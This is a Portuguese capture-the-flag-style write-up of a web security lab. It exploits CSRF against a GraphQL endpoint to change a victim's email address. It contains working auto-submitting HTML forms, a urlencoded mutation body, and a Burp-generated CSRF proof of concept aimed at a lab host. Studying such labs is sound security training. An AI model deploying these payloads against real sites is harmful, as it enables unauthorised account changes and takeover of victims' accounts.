> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/graphql/csrf-exploitation-via-graphql.md).

# Exploração de CSRF via GraphQL

### Executando explorações de CSRF sobre GraphQL

#### Contexto do laboratório

Os recursos de gerenciamento de usuários são baseados em um **GraphQL** endpoint. / Ponto principal: l

**Objetivo:** Crie uma página HTML (hospedada no servidor de exploração) que, quando carregada pela vítima, **altera seu endereço de e-mail**.

<figure><img src="/files/59a61602ef3c49acebb8d4c70cef1c5a4dec7319" alt=""><figcaption></figcaption></figure>

#### Consulta GraphQL Observada

Quando você altera o e-mail pela aplicação, a solicitação enviada se parece com

```json
{
  "query": "/n    mutation changeEmail($input: ChangeEmailInput!) {/n        changeEmail(input: $input) {/n            email/n        }/n    }/n",
  "operationName": "changeEmail",
  "variables": {
    "input": {
      "email": "test@test.com"
    }
  }
}
```

### Método 1: CSRF simples com formulário (recomendado)

A ideia é reproduzir a mutação GraphQL por meio de um **POST de formulário** para o endpoint GraphQL, com `query`, `operationName` e `variables` campos.

Exemplo de uma operação a ser enviada ao operador:

```javascript
<form
  class="login-form"
  name="change-email-form"
  action="https://0ace0022038ab64b803c033800f30057.web-security-academy.net/graphql/v1"
  method="POST"
>
  <input type="hidden" name="query" value="
    mutation changeEmail($input: ChangeEmailInput!) {
      changeEmail(input: $input) {
        email
      }
    }
  ">

  <input type="hidden" name="operationName" value="changeEmail">

  <input
    type="hidden"
    name="variables"
    value='{"input":{"email":"hacked@jord4n.pro"}}'
  >
</form>

<script>
  document.forms["change-email-form"].submit();
</script>
```

<figure><img src="/files/b229179eacf45a0c4ddf65d115353a330f9ffa07" alt=""><figcaption></figcaption></figure>

Resultado esperado: quando a vítima abrir a página, o navegador dela enviará a solicitação e **o e-mail será alterado**.

<figure><img src="/files/8e805c47235d632cda30cd3dc91d7090f1afcdd0" alt=""><figcaption></figcaption></figure>

### Método 2: x-www-form-urlencoded

Aqui, você codifica os parâmetros diretamente como em um formulário clássico:

```bash
Content-Type: application/x-www-form-urlencoded
```

{% code overflow="wrap" %}

```bash
query=%0A++++mutation+changeEmail($input:+ChangeEmailInput!)+{%0A++++++++changeEmail(input:$input)+{%0A++++++++++++email%0A++++++++}%0A++++}%0A&operationName=changeEmail&variables={"input":{"email":"test@test.com"}}
```

{% endcode %}

Prático para verificar rapidamente como a solicitação se parece.

<figure><img src="/files/948e676b573839399d7609ff209c719d6bb08949" alt=""><figcaption></figcaption></figure>

No Burp:

1. Clique com o botão direito na solicitação GraphQL
2. **Ferramentas de comprometimento** → **Gerar PoC de CSRF**
3. O Burp produz um HTML pronto para hospedar, por exemplo:

```html
<html>
  <!-- PoC de CSRF - gerado pelo Burp Suite Professional -->
  <body>
    <form action="https://0ace0022038ab64b803c033800f30057.web-security-academy.net/graphql/v1" method="POST">
      <input type="hidden" name="query" value="&#10;&#32;&#32;&#32;&#32;mutation&#32;changeEmail&#40;&#36;input&#58;&#32;ChangeEmailInput&#33;&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;changeEmail&#40;input&#58;&#36;input&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;email&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#125;&#10;&#32;&#32;&#32;&#32;&#125;&#10;" />
      <input type="hidden" name="operationName" value="changeEmail" />
      <input type="hidden" name="variables" value="&#123;&quot;input&quot;&#58;&#123;&quot;email&quot;&#58;&quot;test&#64;test&#46;com&quot;&#125;&#125;" />
      <input type="submit" value="Enviar requisição" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

```

<figure><img src="/files/07b2ae083cef525f31553d110842d6f3e9415267" alt=""><figcaption></figcaption></figure>


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